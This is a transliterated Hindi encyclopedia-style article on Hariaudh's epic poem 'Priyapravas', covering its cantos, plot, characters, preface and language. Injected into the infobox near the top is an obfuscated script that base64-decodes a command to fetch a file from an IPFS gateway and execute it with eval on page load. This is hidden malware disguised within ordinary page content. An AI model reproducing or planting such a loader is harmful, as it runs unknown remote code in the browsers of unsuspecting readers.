प्रियप्रवास -अयोध्यासिंह उपाध्याय 'हरिऔध'

priyapravas -ayodhyasianh upadhyay 'hariaudh' ayodhyasianh upadhyay|200px|center kavi ayodhyasianh upadhyay 'hariaudh' janm 15 aprail, 1865 janm sthan nizamabad, uttar pradesh mrityu 16 march, 1947 mrityu sthan nizamabad, uttar pradesh mukhy rachanaean 'priyapravas', 'vaidehi vanavas', 'parijat', 'hariaudh satasee' shaili khandakavy kul sarg satrah (17) inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

priyapravas -ayodhyasianh upadhyay 'hariaudh' kul satrah (17) sarg priyapravas pratham sarg priyapravas dvitiy sarg priyapravas tritiy sarg priyapravas chaturth sarg priyapravas pancham sarg priyapravas shashth sarg priyapravas saptam sarg priyapravas ashtam sarg priyapravas navam sarg priyapravas dasham sarg priyapravas ekadash sarg priyapravas dvadash sarg priyapravas trayodash sarg priyapravas chaturdash sarg priyapravas panchadash sarg priyapravas shodash sarg priyapravas saptadash sarg

priyapravas ayodhyasianh upadhyay "hariaudh" ki hindi kavy rachana hai. hariaudh ji ko kavyapratishtha "priyapravas" se mili. isaka rachanakal sanh 1909 se sanh 1913 hai. "priyapravas" virahakavy hai. krishnakavy ki paranpara mean hote hue bhi, usase bhinn hai. "hariaudh" ji ne kaha hai - maianne shri krishnachandr ko is granth mean ek mahapurush ki bhaanti aankit kiya hai, brahm karake nahian. krishnacharit ko is prakar aankit kiya hai jisase adhunik log bhi sahamat ho sakean.

kathavastu

"priyapravas" adhunik hindi sahity ka pratham saphal mahakavy hai. isaki kathavastu ka mooladhar shrimadbhagavat ka dasham skandh hai, jisamean shrikrishna ke janm se lekar unake yauvan, krishna ka braj se mathura ko pravas aur laut ana varnit hai. sampoorn katha, do bhagoan mean vibhajit hai. pahale se athavean sarg tak ki katha mean kans ke nimantran lekar akroor ji braj mean ate hai tatha shrikrishna samast brajavasiyoan ko shok mean chho dakar mathura chale jate hai. nauvean sarg se lekar satrahavean sarg tak ki katha mean krishna, apane mitr uddhav ko brajavasiyoan ko saantvana dene ke lie mathura bhejate hai. radha apane vyaktigat svarthoan se oopar uthakar manavata ke hit ke lie apane ap ko nyochhavar kar deti hai. radha ki prasiddh ukti hai-

"pyare jivean jagahit karean, geh chahe n avean.'

is mahakavy mean krishna evan radha ka jo roop varnit hua hai, sadharan paranparagat roop se bhinn hai. krishna ka charitr jan sadharan ke lie ek prerana strot hai. dvivedi yug mean desh -prem, svadhinata, vishv bandhutv, manavatavad aur sudharavad ki jo lahar chali, usaka svar priyapravas mean sunaee p data hai. shivadan sianh chauhan ka kahana hai ki "priyapravas mean krishna apane shuddh manav roop mean vishv kalyan ke kam mean rat ek jan neta ke roop mean aankit kie ge hai". shridhar pathak ne priyapravas ke sambandh mean likha hai-

divas ke avasan same mila..
"priyapravas" aho priy apaka..
amit mod hua chakh kar chitt ko..
saras svad -yuta kavita nee ..

shrikrishna ka charitr-chitran

mahapurush ke roop mean aankit hote hue bhi "priyapravas" ke krishna mean vahi alaukik sphoorti hai jo avatari brahmapurush mean. kavi ne krishna ka charitrachitran manovaijnanik drishti se kiya hai, unake vyaktitv mean sahanubhooti, vyutpannamatitv aur karmakaushal hai. krishna ke charitr ki tarah "priyapravas" ki radha ke charitr mean bhi navinata hai. usamean virah ki vikalata nahian hai, vyatha ki ganbhirata hai. usane krishna ke karmayog ko hridayangam kar liya hai. krishna ke prati usaka prem vishvatm aur usaki vedana lokaseva ban gee hai. premika devi ho gee hai, vah kahati haian :

ajna bhoolooan n priyatam ki, vishv ke kam aooan
mera kaumar-vrat bhav mean poornata prapt hove.

"priyapravas" mean yadyapi krishna mahapurush ke roop mean aankit haian, tathapi isamean unaka yah roop anushangik hai. ve visheshat: parivarik aur samajik svajan haian. jaisa pustak ke nam se spasht hai, mukhy prasang hai - "priyapravas", parivar aur samaj ke priy krishna ka viyog. any prasang avaantar haian. yadyapi vatsaly, sakhy aur madhury ka pradhany hai aur bhav mean lality hai, tathapi yathasthan oj ka bhi samavesh hai. samagrat: is mahakavy mean varnanabahuly aur vakvaidagdhy ka adhiky hai. jahaan kahian sanvedana tatha hardik udgirnata hai, vahaan ragatmakata evan marmikata hai. vividh rrituoan, vividh drishyoan vividh chittavrittiyoan aur anubhootiyoan ke shabdachitr yatratatr b de sajiv haian.

bhoomika

maian bahut dinoan se hindi bhasha mean ek kavy-granth likhane ke lie lalayit tha. ap kaheange ki jis bhasha mean 'ramacharit-manas', 'soorasagar', 'ramachandrika', 'prithviraj raso', 'padmavat' ityadi jaise b de anoothe kavy prastut haian, usamean tumhare jaise alpajn ka kavy likhane ke lie samutsuk hona vatulata nahian to kya hai? yah saty hai, kintu matribhasha ki seva karane ka adhikar sabhi ko to hai; bane ya n bane, seva-pranali sukhad aur hriday-grahini ho ya n ho, parantu ek lalayit-chitt apani prabal lalasa ko poori kiye bina kaise rahe? jisake kant-padaanbujoan ko nikhil-shastr-parangat poojyapad mahatma tulasidas, kavi-shiroratn mahatma sooradas, jaise mahajanoan ne param sugandhit athach utphull patal prasoon arpan kar archana ki hai. kavikul-mandali-mandan keshav, dev, bihari, padmakar ityadi sahridayoan ne apani vikach-mallika chadha kar bhakti-gadgad-chitt se aradhana ki hai, kya usaki maian ek nitant sadharan pushp dvara pooja nahian kar sakata? yadi 'svant: sukhay' maian aisa kar sakata hooan to apani tooti-phooti bhasha mean ek hindi kavy-granth bhi likh sakata hooan; nidan isi vichar ke vashibhoot hokar maianne 'priyapravas' namak is kavy ki rachana ki hai.

kavy-bhasha

yah kavy kh di boli mean likha gaya hai. kh di boli mean chhote-chhote kee kavy-granth ab tak lipibaddh hue haian, parantu unamean se adhikaansh sau-do sau padyoan mean hi samapt haian, jo kuchh b de haian ve anuvadit haian maulik nahian. sahriday kavi baboo maithilisharan gupt ka 'jayadrath vadh' nissandeh maulik granth hai, parantu yah khand-kavy hai. isake atirikt ye samast granth antyanupras vibhooshit haian, isalie kh di bolachal mean mujhako ek aise granth ki avashyakata dekh p di, jo mahakavy ho; aur aisi kavita mean likha gaya ho jise bhinnatukant kahate haian. atev maian is nyoonata ki poorti ke lie kuchh sahas ke sath agrasar hua aur anavarat parishram karake is 'priyapravas' namak granth ki rachana ki; jo ki aj ap logoan ke kar-kamaloan mean sadar samarpit hai. maianne pahale is granth ka nam 'brajaangana-vilap' rakha tha, kintu kee karanoan se mujhako yah nam badalana p da, jo is granth ke samagr padh jane par ap logoan ko svayan avagat hoange. mujhamean mahakavyakar hone ki yogyata nahian, meri pratibha aisi sarvatomukhi nahian jo mahakavy ke lie upayukt upaskar sangrah karane mean kritakaryy ho sake, atev maian kis mukh se yah kah sakata hooan ki 'priyapravas' ke ban jane se kh di boli mean ek mahakavy n hone ki nyoonata door ho gee. haan, vinit bhav se keval itana hi nivedan karooanga ki mahakavy ka abhas-svaroop yah granth satrah sargoan mean keval is uddeshy se likha gaya hai ki isako dekhakar hindi-sahity ke labdhapratishth sukaviyoan aur sulekhakoan ka dhyan is truti ke nivaran karane ki or akarshit ho. jab tak kisi bahujn marmmasparshini-sulekhani dvara lipibaddh hokar kh di boli mean sarvaang sundar koee mahakavy ap logoan ko hastagat nahian hota, tab tak yah apane sahaj roop mean ap logoan ke jyoti-vikirnakari ujjval chakshuoan ke sammukh hai, aur ek sahriday kavi ke kanth se kanth milakar yah prarthana karata hai, 'jabalauan phulai n ketaki; tabalauan bilam karil.'

bhasha-shaili

'priyapravas' ki bhasha sanskrit-garbhit hai. usamean hindi ke sthan par sanskrit ka rang adhik hai. anek vidvanh sajjan isase rusht hoange, kaheange ki yadi is bhasha mean 'priyapravas' likha gaya to achchha hota yadi sanskrit mean hi yah granth likha jata. koee bhasha-marmajn socheange is prakar sanskrit-shabdoan ko thooansakar bhasha ke prakrit roop ko nasht karane ki cheshta karana nitant garhit kary hai. ukt vaktrita mean bhatt ji ek sthan par kahate haian. doosari bat jo maian ajakal kh di boli ke kaviyoan mean dekh raha hooan, vah samasabaddh, klisht sanskrit-shabdoan ka prayog hai, yah bhi purane kaviyoan ki paddhati ke pratikool hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh